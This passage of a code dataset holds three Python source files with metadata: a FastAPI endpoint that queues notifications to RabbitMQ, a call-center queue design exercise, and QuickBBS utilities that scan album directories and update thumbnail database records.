"te.platform.cce_params.CCE_AXIS", "line_number": 1049, "usage_type": "attribute"}, {"api_name": "te.platform.cce_params", "line_number": 1049, "usage_type": "name"}, {"api_name": "tik_params.ONE_IR", "line_number": 1058, "usage_type": "argument"}, {"api_name": "te.tvm.call_extern", "line_number": 1051, "usage_type": "call"}, {"api_name": "te.tvm", "line_number": 1051, "usage_type": "name"}, {"api_name": "tik_source_info.source_info_decorator", "line_number": 1016, "usage_type": "call"}]}
{"seq_id": "27016312394", "text": "import logging\nfrom http import HTTPStatus\n\nfrom dependencies.config import Settings, get_settings\nfrom fastapi import APIRouter, Depends\nfrom models.models import NotificationsExt, NotificationType\nfrom utils.rabbitmq_client import rabbitmq_client\n\nrouter = APIRouter()\n\nlogger = logging.getLogger(__name__)\n\n\n@router.post(\n    \"/send_notification\",\n)\nasync def send_notification(\n    notification: NotificationsExt,\n    settings: Settings = Depends(get_settings),\n):\n    \"\"\"\n    Отправка уведомления в очередь RebbitMQ\n\n    Parameters\n    ----------\n    :param notification: контракт, содержащий исходные данные для постановки нотификации в очередь\n    :param settings: настройки проекта\n    \"\"\"\n    if notification.type_send == NotificationType.NEW_SERIES or notification.type_send == NotificationType.EMAIL:\n        logger.info(f\"Received message for {settings.email_queue}\")\n        notification.last_chunk = True\n        await rabbitmq_client.send_rabbitmq(notification.dict(), settings.email_queue)\n    else:\n        logger.info(f\"Received message for {settings.group_queue}\")\n        await rabbitmq_client.send_rabbitmq(notification.dict(), settings.group_queue)\n    return HTTPStatus.OK\n", "repo_name": "sevrn73/notifications_sprint_1", "sub_path": "notification_api/api/v1/notification.py", "file_name": "notification.py", "file_ext": "py", "file_size_in_byte": 1303, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "fastapi.APIRouter", "line_number": 9, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 11, "usage_type": "call"}, {"api_name": "models.models.NotificationsExt", "line_number": 18, "usage_type": "name"}, {"api_name": "dependencies.config.Settings", "line_number": 19, "usage_type": "name"}, {"api_name": "fastapi.Depends", "line_number": 19, "usage_type": "call"}, {"api_name": "dependencies.config.get_settings", "line_number": 19, "usage_type": "argument"}, {"api_name": "models.models.NotificationType.NEW_SERIES", "line_number": 29, "usage_type": "attribute"}, {"api_name": "models.models.NotificationType", "line_number": 29, "usage_type": "name"}, {"api_name": "models.models.NotificationType.EMAIL", "line_number": 29, "usage_type": "attribute"}, {"api_name": "utils.rabbitmq_client.rabbitmq_client.send_rabbitmq", "line_number": 32, "usage_type": "call"}, {"api_name": "utils.rabbitmq_client.rabbitmq_client", "line_number": 32, "usage_type": "name"}, {"api_name": "utils.rabbitmq_client.rabbitmq_client.send_rabbitmq", "line_number": 35, "usage_type": "call"}, {"api_name": "utils.rabbitmq_client.rabbitmq_client", "line_number": 35, "usage_type": "name"}, {"api_name": "http.HTTPStatus.OK", "line_number": 36, "usage_type": "attribute"}, {"api_name": "http.HTTPStatus", "line_number": 36, "usage_type": "name"}]}
{"seq_id": "36709614330", "text": "'''\nCall Center\n\nPiero Orderique\n23 Jan 2021\n\n3 levels of employee: respondent, manager, and director\nAn incoming call must be allocated to a free respondent. \n    if none are available to take the call, it goes to a manager\n    if the manager is not available, it goes to director\n    (if director unavailable, we lose the call or can add to a waitlist!)\n\nDesign the classes and ADT for this problem. \nImplement a method called dispatchCall() which assigns a call to the first available employee\n'''\nfrom collections import deque\n\nclass CallCenter():\n    '''\n    Creates a call center\n\n    Needs a list of respondants, a manager, and a director to function properly\n    '''\n    def __init__(self, *employees) -> None:\n        '''creates the call queue and adds employees to it if they are available'''\n        self.all_employees = []\n        self.callqueue = CallQueue()\n        for employee in employees:\n            self.all_employees.append(employee)\n            if employee.is_available():\n                self.callqueue.add_employee(employee=employee)\n\n    def add_employee(self, employee):\n        if employee.is_available():\n            self.all_employees.append(employee)\n            self.callqueue.add_employee(employee)\n\n    def add_employees(self, *employees):\n        for employee in employees:\n            if employee.is_available():\n                self.all_employees.append(employee)\n                self.callqueue.add_employee(employee=employee)\n\n    def dispatchCall(self, call):\n        ''' assign a call to first available employee '''\n        employee = self.callqueue.pop_employee()\n        employee.call = call\n        return employee\n\n    def __str__(self) -> str:\n        rep = \"\"\n        for employee in self.all_employees:\n            if employee.call:\n                rep += employee.name + \" on call \" + str(employee.call.id) + \"\\n\"\n            else:\n                rep += str(employee) + \"\\n\"\n        return rep\n\nclass CallQueue():\n    '''\n    A queue of respondants , manager, and director queues\n    '''\n    def __init__(self) -> None:\n        # initialize a dequeue for each type \n        self.respondants = deque([])\n        self.managers = deque([])\n        self.directors = deque([])\n        # master array of queues where we check left to right each time\n        self.masterqueue = [\n            self.respondants,\n            self.managers,\n            self.directors,\n        ]\n\n    def add_employee(self, employee):\n        if not employee.is_available(): raise self.EmployeeUnavailableError\n        # else, add the employee to the appropriate queue:\n        if isinstance(employee, Respondant):\n            self.respondants.append(employee)\n        elif isinstance(employee, Manager):\n            self.managers.append(employee)\n        elif isinstance(employee, Director):\n            self.directors.append(employee)\n\n    def add_employees(self, *employees):\n        for employee in employees:\n            self.add_employee(employee)\n\n    def pop_employee(self):\n        '''iterate trough master queue and pop first one we can'''\n        for queue in self.masterqueue:\n            if len(queue):\n                # pop from queue if its not empty\n                employee = queue.popleft()\n                employee.set_availability(False)\n                return employee\n        # else all are empty so raise error\n        raise self.EmployeeUnavailableError(\"Queue is empty\")\n\n    def employee_available(self):\n        ''' like isNotEmpty method '''\n        # there will always be an employee available so long as there is a director available\n        return bool(len(self.directors))\n\n    def __str__(self) -> str:\n        res = \"\"\n        for queue in self.masterqueue:\n            for employee in queue:\n                res+= employee.type + \" \" + employee.name + \" ==> \"\n        return res + \"END\"\n\n    class EmployeeUnavailableError(Exception):\n        pass\n\nclass Call():\n    def __init__(self, id) -> None:\n        self.id = id\n\n    def __str__(self) -> str:\n        return \"CALLER ID: \" + str(self.id)\n\nclass Employee():\n    def __init__(self, name) -> None:\n        self.name = name\n        self.available = True\n        self.type = \"General Employee\"\n        self.call = None\n\n    def receive_call(self, call:Call) -> None:\n        self.available = False\n        self.call = call\n\n    def is_available(self) -> bool:\n        return self.available\n\n    def set_availability(self, available) -> None:\n        self.available = available\n        if available:\n            self.call = None\n         \n    def __str__(self) -> str:\n        return self.type + \" \" + self.name + \" available: \" + str(self.available)\n\nclass Respondant(Employee):\n    def __init__(self, name):\n        super().__init__(name)\n        self.type = \"Respondant\"\n         \n    def __str__(self) -> str:\n        return super().__str__()\n\nclass Manager(Employee):\n    def __init__(self, name):\n        super().__init__(name)\n        self.type = \"Manager\"\n         \n    def __str__(self) -> str:\n        return super().__str__()\n\nclass Director(Employee):\n    def __init__(self, name):\n        super().__init__(name)\n        self.type = \"Director\"\n         \n    def __str__(self) -> str:\n        return super().__str__()\n\n\nif __name__ == \"__main__\":\n    r1 = Respondant(\"Adam\")\n    r2 = Respondant(\"Bill\")\n    r3 = Respondant(\"Cameron\")\n    m1 = Manager(\"Piero\")\n    d1 = Director(\"Jorge\")\n    daCrew = [r1, r2, r3, m1, d1]\n    # for r in daCrew:\n    #     print(r)\n    # myQueue = CallQueue()\n    # myQueue.add_employees(*daCrew)\n    # print(myQueue.pop_employee())\n    # print(myQueue.pop_employee())\n    # print(myQueue.pop_employee())\n    # print(myQueue.pop_employee())\n    # print(myQueue.pop_employee())\n\n    # final testing\n    ebay_customer_services = CallCenter()\n    ebay_customer_services.add_employees(*daCrew)\n    print(ebay_customer_services)\n    # assign calls in order\n    ebay_customer_services.dispatchCall(Call(7066077066))\n    ebay_customer_services.dispatchCall(Call(6789998212)) \n    ebay_customer_services.dispatchCall(Call(1118675309))\n    print(ebay_customer_services)\n    ebay_customer_services.dispatchCall(Call(1800588267))\n    ebay_customer_services.dispatchCall(Call(4044044044))\n    print(ebay_customer_services)", "repo_name": "fabrizzioorderique/python-scripts-mac", "sub_path": "OOD_Programming/callcenter.py", "file_name": "callcenter.py", "file_ext": "py", "file_size_in_byte": 6259, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "collections.deque", "line_number": 65, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 66, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 67, "usage_type": "call"}]}
{"seq_id": "36390276368", "text": "# coding: utf-8\n\"\"\"\nUtilities for QuickBBS, the python edition.\n\"\"\"\nfrom __future__ import absolute_import, print_function, unicode_literals\n\nimport html\nimport logging\nimport os\nimport os.path\n# import urllib\nimport re\nimport stat\nimport sys\nimport time\nimport uuid\nfrom io import BytesIO\n\nimport fitz\nimport scandir\nfrom PIL import Image\nfrom django.core.exceptions import MultipleObjectsReturned\nfrom pathvalidate import sanitize_filename\nfrom quickbbs.models import (Thumbnails_Archives, Thumbnails_Dirs,\n                             Thumbnails_Files, index_data)\n\nfrom frontend.database import check_dup_thumbs\n\nlog = logging.getLogger(__name__)\n\nimport frontend.archives3 as archives\n\nPY2 = sys.version_info[0] < 3\n\nif PY2:\n    from exceptions import IOError\n\n\ndef ensures_endswith(string_to_check, value):\n    if not string_to_check.endswith(value):\n        #string_to_check = \"%s%s\" % (string_to_check, value)\n        string_to_check += value\n    return string_to_check\n\ndef sort_order(request, context):\n    \"\"\"\n    Grab the sort order from the request (cookie)\n    and apply it to the session, and to the context for the web page.\n\n    Args:\n        request (obj) - The request object\n        context (dict) - The dictionary for the web page template\n\n    Returns:\n        obj::\n            The request object\n        dict::\n            The context dictionary\n\n    Raises:\n        None\n\n    Examples\n    --------\n    \"\"\"\n    if \"sort\" in request.GET:\n        #   Set sort_order, since there is a value in the post\n        # pylint: disable=E1101\n        sort_value = int(request.GET[\"sort\"], 0)\n        request.session[\"sort_order\"] = sort_value\n        context[\"sort_order\"] = sort_value\n# pylint: enable=E1101\n    else:\n        context[\"sort_order\"] = request.session.get(\"sort_order\", 0)\n    return request, context\n\n\ndef is_valid_uuid(uuid_to_test, version=4):\n    \"\"\"\n    Check if uuid_to_test is a valid UUID.\n    https://stackoverflow.com/questions/19989481\n\n    Args:\n        uuid_to_test (str) - UUID code to validate\n        version (int) - UUID version to validate against (eg  1, 2, 3, 4)\n\n    Returns:\n        boolean::\n            `True` if uuid_to_test is a valid UUID, otherwise `False`.\n\n    Raises:\n        None\n\n    Examples\n    --------\n    >>> is_valid_uuid('c9bf9e57-1685-4c89-bafb-ff5af830be8a')\n    True\n    >>> is_valid_uuid('c9bf9e58')\n    False\n    \"\"\"\n    try:\n        uuid_obj = uuid.UUID(uuid_to_test, version=version)\n    except :\n        return False\n\n    return str(uuid_obj) == uuid_to_test\n\n\ndef test_extension(name, ext_list):\n    \"\"\"\n    Check if filename has an file extension that is in passed list.\n\n    Args:\n        name (str): The Filename to examine\n        ext_list (list): ['zip', 'rar', etc] # list of file extensions (w/o .),\n            lowercase.\n\n    Returns:\n        boolean::\n            `True` if name does match an extension passed, otherwise `False`.\n\n    Raises:\n        None\n\n    Examples\n    --------\n    >>> test_extension(\"test.zip\", ['zip', 'cbz'])\n    True\n    >>> test_extension(\"test.rar\", ['zip', 'cbz'])\n    False\n\n    \"\"\"\n    return os.path.splitext(name)[1][1:].lower().strip() in ext_list\n\ndef is_archive(fqfn):\n    # None = not an archive.\n    \"\"\"\n    Check if filename has an file extension that in the archive file types list\n\n    Args:\n        fqfn (str): Filename of the file\n\n    Returns:\n        boolean::\n            `True` if name does match an extension in the archive_fts\n            (archive filetypes) list.  Otherwise return none.\n\n    Raises:\n        None\n\n    Examples\n    --------\n    >>> is_archive(\"test.zip\")\n    True\n    >>> is_archive(\"test.jpg\")\n    False\n\n    \"\"\"\n    return test_extension(fqfn, configdata[\"filetypes\"][\"archive_fts\"])\n\n\ndef return_image_obj(fs_path, memory=False):\n    \"\"\"\n    Given a Fully Qualified FileName/Pathname, open the image\n    (or PDF) and return the PILLOW object for the image\n    Fitz == py\n\n\n    Args:\n        fs_path (str) - File system path\n        memory (bool) - Is this to be mapped in memory\n\n    Returns:\n        boolean::\n            `True` if uuid_to_test is a valid UUID, otherwise `False`.\n\n    Raises:\n        obj::\n            Pillow image object\n\n    Examples\n    --------\n    \"\"\"\n    source_image = None\n    if os.path.splitext(fs_path)[1][1:].lower() == u\"pdf\":\n        pdf_file = fitz.open(fs_path)\n        pdf_page = pdf_file.loadPage(0)\n        pix = pdf_page.getPixmap(matrix=fitz.Identity,\n                                 alpha=True)\n\n        try:\n            source_image = Image.open(BytesIO(pix.getPNGData()))\n        except UserWarning:\n            print (\"UserWarning!\")\n            source_image = None\n    else:\n        if not memory:\n            source_image = Image.open(fs_path)\n        else:\n            try:# fs_path is a byte stream\n                source_image = Image.open(BytesIO(fs_path))\n            except IOError:\n                print(\"IOError\")\n                log.debug(\"PIL was unable to identify as an image file\")\n            except UserWarning:\n                print (\"UserWarning!\")\n                source_image = None\n#        if source_image.mode != \"RGB\":\n#            source_image = source_image.convert('RGB')\n    return source_image\n\ndef cr_tnail_img(source_image, size, fext):\n    \"\"\"\n    Given the PILLOW object, resize the image to <SIZE>\n    and return the saved version of the file (using FEXT\n    as the format to save as [eg. PNG])\n\n    Return the binary representation of the file that\n    was saved to memory\n    \"\"\"\n    if source_image == None:\n        return None\n\n    image_data = BytesIO()\n    source_image.thumbnail((size, size), Image.ANTIALIAS)\n    try:\n        source_image.save(fp=image_data,\n                          format=configdata[\"filetypes\"][fext][2].strip(),\n                          optimize=True)\n    except IOError:\n        source_image = source_image.convert('RGB')\n        source_image.save(fp=image_data,\n                          format=\"JPEG\",#configdata[\"filetypes\"][fext][2].strip(),\n                          optimize=True\n                          )\n\n    image_data.seek(0)\n    return image_data.getvalue()\n\ndef read_from_disk(dir_to_scan, skippable=False):\n    \"\"\"\n    Pass in FQFN, and the database stores the path as the URL path.\n    \"\"\"\n    def recovery_from_multiple(fqpndirectory, uname):\n        \"\"\"\n        eliminate any duplicates\n        \"\"\"\n        dataset = index_data.objects.filter(\n            name=uname.title(), fqpndirectory=fqpndirectory.lower(),\n            ignore=False)\n        dataset.delete()\n\n    def naturalize(string):\n        \"\"\"\n            return <STRING> as a english sortable <STRING>\n        \"\"\"\n        def naturalize_int_match(match):\n            \"\"\" reformat as a human sortable number\n            \"\"\"\n            return '%08d' % (int(match.group(0)),)\n\n        string = string.lower().strip()\n        string = re.sub(r'^the\\s+', '', string)\n        string = re.sub(r'\\d+', naturalize_int_match, string)\n        return string\n\n\n    def link_arc_rec(fs_name, webpath, uuid_entry, page=0):\n        if test_extension(fs_name,\n                          configdata[\"filetypes\"][\"archive_fts\"]):\n            fname = os.path.basename(fs_name).title().replace(\"#\", \"\").\\\n                replace(\"?\", \"\").strip()\n            try:\n                db_entry = Thumbnails_Archives.objects.update_or_create(\n                    uuid=uuid_entry,\n                    FilePath=webpath,\n                    FileName=fname,\n                    page=page,\n                    defaults={\"uuid\":uuid_entry, \"FilePath\":webpath,\n                              \"FileName\":fname, \"page\":page})[0]\n            except MultipleObjectsReturned:\n                check_dup_thumbs(uuid_entry, page)\n                db_entry = Thumbnails_Archives.objects.update_or_create(\n                    uuid=uuid_entry,\n                    FilePath=webpath,\n                    FileName=fname,\n                    page=page,\n                    defaults={\"uuid\":uuid_entry, \"FilePath\":webpath,\n                              \"FileName\":fname, \"page\":page})[0]\n            return db_entry\n        return None\n\n    def link_dir_rec(sd_entry, webpath, uuid_entry):\n        fs_name = os.path.join(configdata[\"locations\"][\"albums_path\"],\n                               webpath[1:],\n                               sd_entry.name)\n        if sd_entry.is_dir():\n            fname = os.path.basename(fs_name).title().replace(\"#\", \"\").\\\n                replace(\"?\", \"\").strip()\n            db_entry = Thumbnails_Dirs.objects.update_or_create(\n                uuid=uuid_entry, FilePath=webpath, DirName=fname,\n                defaults={\"uuid\":uuid_entry,\n                          \"FilePath\":webpath,\n                          \"DirName\":fname})[0]\n            return db_entry\n        return None\n\n    def link_file_rec(sd_entry, webpath, uuid_entry):\n        fname_lower = sd_entry.name.lower()\n        fs_name = os.path.join(configdata[\"locations\"][\"albums_path\"],\n                               webpath[1:],\n                               sd_entry.name)\n\n        if (test_extension(fs_name,\n                           configdata[\"filetypes\"][\"graphic_fts\"]) or\\\n                           test_extension(fs_name,\n                                          configdata[\"filetypes\"][\"pdf_fts\"])\\\n                                          and sd_entry.is_file() and not\\\n                                          sd_entry.is_dir()):\n            fname = os.path.basename(fs_name).title().replace(\"#\", \"\").\\\n                replace(\"?\", \"\").strip()\n            db_entry = Thumbnails_Files.objects.update_or_create(\n                uuid=uuid_entry,\n                FilePath=webpath,\n                FileName=fname,\n                defaults={\"uuid\":uuid_entry,\n                          \"FilePath\":webpath,\n                          \"FileName\":fname,\n                          \"is_pdf\":test_extension(fname_lower, ['pdf']),\n                          \"is_image\":test_extension(fname_lower,\n                                    configdata[\"filetypes\"][\"graphic_fts\"]),\n                          })[0]\n            return db_entry\n        return None\n\n    def return_disk_listing(fqpn):\n        data = []\n        for entry in scandir.scandir(fqpn):\n            rename = False\n            titlecase = entry.name.title()#.strip()\n            original = titlecase\n            unescaped = html.unescape(titlecase)\n            lower_filename = entry.name.lower()#.strip()\n\n            if (lower_filename in configdata[\"filetypes\"][\"files_to_ignore\"]):\n                continue\n\n            if (not entry.is_dir and\n                not(os.path.splitext(lower_filename)[1][1:] in configdata[\"filetypes\"].keys())):\n                print (\"Unidentified File Type: %s\" % entry.name)\n\n            if titlecase != unescaped:\n               titlecase = unescaped.title()\n               rename = True\n#               os.rename(os.path.join(fqpn, titlecase), os.path.join(fqpn, new_titlecase))\n\n\n            if '/' in titlecase:\n               titlecase = titlecase.replace(\"/\", \"_\")\n               rename = True\n#               os.rename(os.path.join(fqpn, titlecase), os.path.join(fqpn, new_titlecase))\n\n            if ':' in titlecase:\n               titlecase = titlecase.replace(\":\", \"_\")\n               rename = True\n#               os.rename(os.path.join(fqpn, titlecase), os.path.join(fqpn, new_titlecase))\n\n            if '#' in titlecase:\n               titlecase = titlecase.replace(\"#\", \"_\")\n               rename = True\n#               os.rename(os.path.join(fqpn, titlecase), os.path.join(fqpn, new_titlecase))\n\n            lower_filename = sanitize_filename(lower_filename)\n            titlecase = sanitize_filename(lower_filename).titlecase()\n\n            if rename:\n               os.rename(os.path.join(fqpn, original), os.path.join(fqpn, titlecase))\n\n\n#            if entry.is_dir():\n#                data.append(titlecase)\n#            elif os.path.splitext(lower_filename)[1][1:] in configdata[\"filetypes\"].keys():\n            data.append(titlecase)\n        return data\n\n###############################\n    # Read_from_disk - main\n    #\n    # rewrite to use update_or_create? - No the logic doesn't work.\n\n    # Get_or_create, could work for the read_from_disk main.\n\n    # get all the filenames, and pass into update.\n\n    # so that update can if not filename in listing, to check for deleted files.\n    print (\"Skippable - \", skippable)\n    dir_to_scan = dir_to_scan.strip()\n    fqpn = (configdata[\"locations\"][\"albums_path\"] + dir_to_scan).replace(\"//\", \"/\")\n    webpath = fqpn.lower().replace(\n        configdata[\"locations\"][\"albums_path\"].lower(),\n        \"\")\n    if not os.path.exists(fqpn):\n        print (\"%s does not exist\" % fqpn)\n        return None\n\n    rawdir = webpath.lower().replace(configdata[\"locations\"][\"albums_path\"]+\"/albums\",\"\")\n    dirpath = os.path.split(rawdir)[0:-1][0]\n    dirname = rawdir.lower().replace(dirpath,\"\")[1:]\n    dirdata = index_data.objects.filter(fqpndirectory=dirpath.lower(), name=dirname.title(), ignore=False).exclude(directory=None, file_tnail=None, archives=None)\n\n    existing_data = index_data.objects.filter(fqpndirectory=dir_to_scan.lower())\n\n    loaded = False\n    while not loaded:\n        try:\n            disk_data_scan = return_disk_listing(fqpn)\n            loaded = True\n        except StopIteration:\n            pass\n\n    existing_data_size = index_data.objects.filter(fqpndirectory=dir_to_scan.lower()).count()\n    if existing_data_size > len(disk_data_scan):\n        print (\"existing size %s       on disk %s\" % (existing_data_size, len(disk_data_scan)))\n        for entry in existing_data:\n            if not entry.name.title().strip() in disk_data_scan:\n                 print(\"Deleting %s\" % entry.name)\n                 entry.delete()\n        skippable = False\n        print (\"existing size, skippable > disk data scan = False\")\n    elif len(disk_data_scan) > existing_data_size:\n        print (\"Disk data scan > existing size, skippable = False\")\n        skippable = False\n\n#     if (existing_data == len(disk_data_array) and (time.time() - dirdata[0].lastscan < 60)):\n#         print (\"Existing Data appears to be same size as current record\")\n#     else:\n#         print (\"Count mismatch, or expired [%s, %s)\" % (existing_data, len(disk_data_array)))\n    # if dirdata:\n#         if (existing_data != 0 and (time.time() - dirdata[0].lastscan < 60)):\n#             print (\"Existing Data %s\" % existing_data)\n#             print (\"Time %s, lastscan %s, Time-lastscan %s\" % (time.time(), dirdata[0].lastscan, time.time() - dirdata[0].lastscan))\n#             return\n#     else:\n#         print (\"No dirdata\")\n    #\n    # Test with and without prefetch_related\n    #\n#    path_index_qs = index_data.objects.prefetch_related(\n#        'archives', 'directory',\n#        'file_tnail').filter(fqpndirectory=webpath.lower(),\n#                             ignore=False)\n\n\n#    count = 0  # Used as sanity check for Validate\n#    for count, disk_data in enumerate(scandir.scandir(fqpn)):#disk_data_scan:#scandir.scandir(fqpn):\n    for disk_data in scandir.scandir(fqpn):#disk_data_scan:#scandir.scandir(fqpn):\n        filename = disk_data.name.title()\n        lower_filename = disk_data.name.lower()\n        fext = os.path.splitext(filename)[1].lower()\n\n        if not fext[1:] in configdata[\"filetypes\"].keys() and not disk_data.is_dir():\n            print (fext[1:])\n            continue\n        elif configdata[\"filetypes\"][\"ignore_dotfiles\"] and filename.startswith(\".\"):\n            continue\n        elif (fext in configdata[\"filetypes\"][\"extensions_to_ignore\"]) or\\\n           (lower_filename in configdata[\"filetypes\"][\"files_to_ignore\"]):\n            continue\n\n        fs_item = os.path.join(configdata[\"locations\"][\"albums_path\"],\n                               webpath[1:],\n                               filename)\n\n        if disk_data.is_dir():\n            # dir[0] = Path, dir[1] = dirs, dir[2] = files\n            if PY2:\n                dirdata = scandir.walk(disk_data.path).next()\n            else:\n                #print (disk_data.path)\n                dirdata = next(os.walk(disk_data.path))\n                # get directory count, and file count for subdirectory\n\n            numdirs = len(dirdata[1])\n            numfiles = len(dirdata[2])\n        else:\n            numdirs = 0\n            numfiles = 0\n\n        force_save = False\n        new_uuid = uuid.uuid4()\n        try:\n            ind_data, created = index_data.objects.update_or_create(\n                name=filename,#.replace(\"#\", \"\").strip(),\n                fqpndirectory=webpath,\n                ignore=False,\n                defaults={'name':filename,#.replace(\"#\", \"\").strip(),\n                          'fqpndirectory':webpath,\n                          'sortname':naturalize(filename),\n                          'size':disk_data.stat()[stat.ST_SIZE],\n                          'lastmod':disk_data.stat()[stat.ST_MTIME],\n                          'numfiles':numfiles,\n                          'numdirs':numdirs,\n                          'lastscan':time.time()#disk_data.stat()[stat.ST_MTIME],\n                          }\n                )\n        except MultipleObjectsReturned:\n            print (\"Multiple Objects Returned\")\n            index_data.objects.filter(\n                name=filename,#.replace(\"#\", \"\"),\n                fqpndirectory=webpath).delete()\n            ind_data, created = index_data.objects.update_or_create(\n                name=filename,#.replace(\"#\", \"\"),\n                fqpndirectory=webpath,\n                ignore=False,\n                defaults={'name':filename,#.replace(\"#\", \"\"),\n                          'fqpndirectory':webpath,\n                          'sortname':naturalize(filename),\n                          'size':disk_data.stat()[stat.ST_SIZE],\n                          'lastmod':disk_data.stat()[stat.ST_MTIME],\n                          'numfiles':numfiles,\n                          'numdirs':numdirs,\n                          'lastscan':time.time()#disk_data.stat()[stat.ST_MTIME],\n                          }\n                )\n\n        if ind_data.lastmod != disk_data.stat()[stat.ST_MTIME]:\n            ind_data.lastmod = disk_data.stat()[stat.ST_MTIME]\n            force_save = True\n\n        if ind_data.file_tnail is None:\n            ind_data.file_tnail = link_file_rec(disk_data, webpath, new_uuid)\n            force_save = force_save or not ind_data.file_tnail is None\n\n        if ind_data.directory is None:\n            ind_data.directory = link_dir_rec(disk_data, webpath, new_uuid)\n            force_save = force_save or not ind_data.directory is None\n\n        if ind_data.archives is None:\n            ind_data.archives = link_arc_rec(fs_item, webpath, new_uuid)\n            force_save = force_save or not ind_data.archives is None\n\n        if ind_data.count_subfiles == 0 and not ind_data.archives is None:\n            archive_file = archives.id_cfile_by_sig(fs_item)\n            archive_file.get_listings()\n            ind_data.count_subfiles = len(archive_file.listings)\n            force_save = True\n\n        if created:\n            ind_data.uuid = new_uuid\n            force_save = True\n\n        if not ind_data.archives is None:# and ind_data.directory is None and ind_data.file_tnail is None:\n            # There is an archive\n            ta_listings = Thumbnails_Archives.objects.filter(uuid=ind_data.uuid)\n            if not ta_listings.count() == ind_data.count_subfiles:\n                archive_file = archives.id_cfile_by_sig(os.path.join(configdata[\"locations\"][\"albums_path\"],\n                               webpath[1:],\n                               disk_data.name))\n                archive_file.get_listings()\n                for zipcount, entry in enumerate(archive_file.listings):\n                    if not ta_listings.filter(page = zipcount).exists():\n                        Thumbnails_Archives.objects.create(uuid = ind_data.uuid,\n                            FileName = filename,#.replace(\"#\",\"\"),\n                            FilePath = webpath,\n                            page = zipcount,\n                            FileSize = -1)\n\n\n        if force_save:\n            ind_data.save()\n\n        if fext[1:] in configdata[\"filetypes\"][\"image_safe_files\"] and skippable:\n            break\n        #count += 1\n#    if index_data.objects.values(\"id\").filter(fqpndirectory=webpath.lower(),\n#                                              ignore=False).count() != count:\n#        print(\"Running Validate\")\n#        validate_database(dir_to_scan)\n    return webpath.replace(os.sep, r\"/\")\n\n\nif __name__ == '__main__':\n    import config\n    from config import configdata\n    cfg_path = os.path.abspath(r\"../cfg\")\n    config.load_data(os.path.join(cfg_path, \"paths.ini\"))\n    config.load_data(os.path.join(cfg_path, \"settings.ini\"))\n    config.load_data(os.path.join(cfg_path, \"filetypes.ini\"))\n    import doctest\n    doctest.testmod()\nelse:\n    from frontend.config import configdata\n", "repo_name": "bschollnick/QuickBBS", "sub_path": "quickbbs/frontend/testcode/utilities-new.py", "file_name": "utilities-new.py", "file_ext": "py", "file_size_in_byte": 21012, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 29, "usage_type": "call"}, {"api_name": "sys.version_info", "line_number": 33, "usage_type": "attribute"}, {"api_name": "uuid.UUID", "line_number": 102, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 133, "usage_type": "call"}, {"api_name": "os.path", "line_number": 133, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 185, "usage_type": "call"}, {"api_name": "os.path", "line_number": 185, "usage_type": "attribute"}, {"api_name": "fitz.open", "line_number": 186, "usage_type": "call"}, {"api_name": "fitz.Identity", "line_number": 188, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 192, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 192, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 192, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 198, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 198, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 201, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 201, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 201, "usage_type": "call"}, {"api_name": "exceptions.IOError", "line_number": 202, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 224, "usage_type": "call"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 225, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 225, "usage_type": "name"}, {"api_name": "exceptions.IOError", "line_number": 230, "usage_type": "name"}, {"api_name": "quickbbs.models.index_data.objects.filter", "line_number": 248, "usage_type": "call"}, {"api_name": "quickbbs.models.index_data.objects", "line_number": 248, "usage_type": "attribute"}, {"api_name": "quickbbs.models.index_data", "line_number": 248, "usage_type": "name"}, {"api_name": "re.sub", "line_number": 263, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 264, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 271, "usage_type": "call"}, {"api_name": "os.path", "line_number": 271, "usage_type": "attribute"}, {"api_name": "quickbbs.models.Thumbnails_Archives.objects.update_or_create", "line_number": 274, "usage_type": "call"}, {"api_name": "quickbbs.models.Thumbnails_Archives.objects", "line_number": 274, "usage_type": "attribute"}, {"api_name": "quickbbs.models.Thumbnails_Archives", "line_number": 274, "usage_type": "name"}, {"api_name": "django.core.exceptions.MultipleObjectsReturned", "line_number": 281, "usage_type": "name"}, {"api_name": "frontend.database.check_dup_thumbs", "line_number": 282, "usage_type": "call"}, {"api_name": "quickbbs.models.Thumbnails_Archives.objects.update_or_create", "line_number": 283, "usage_type": "call"}, {"api_name": "quickbbs.models.Thumbnails_Archives.objects", "line_number": 283, "usage_type": "attribute"}, {"api_name": "quickbbs.models.Thumbnails_Archives", "line_number": 283, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 294, "usage_type": "call"}, {"api_name": "os.path", "line_number": 294, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 298, "usage_type": "call"}, {"api_name": "os.path", "line_number": 298, "usage_type": "attribute"}, {"api_name": "quickbbs.models.Thumbnails_Dirs.objects.update_or_create", "line_number": 300, "usage_type": "call"}, {"api_name": "quickbbs.models.Thumbnails_Dirs.objects", "line_number": 300, "usage_type": "attribute"}, {"api_name": "quickbbs.models.Thumbnails_Dirs", "line_number": 300, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 310, "usage_type": "call"}, {"api_name": "os.path", "line_number": 310, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 320, "usage_type": "call"}, {"api_name": "os.path", "line_number": 320, "usage_type": "attribute"}, {"api_name": "quickbbs.models.Thumbnails_Files.objects.update_or_create", "line_number": 322, "usage_type": 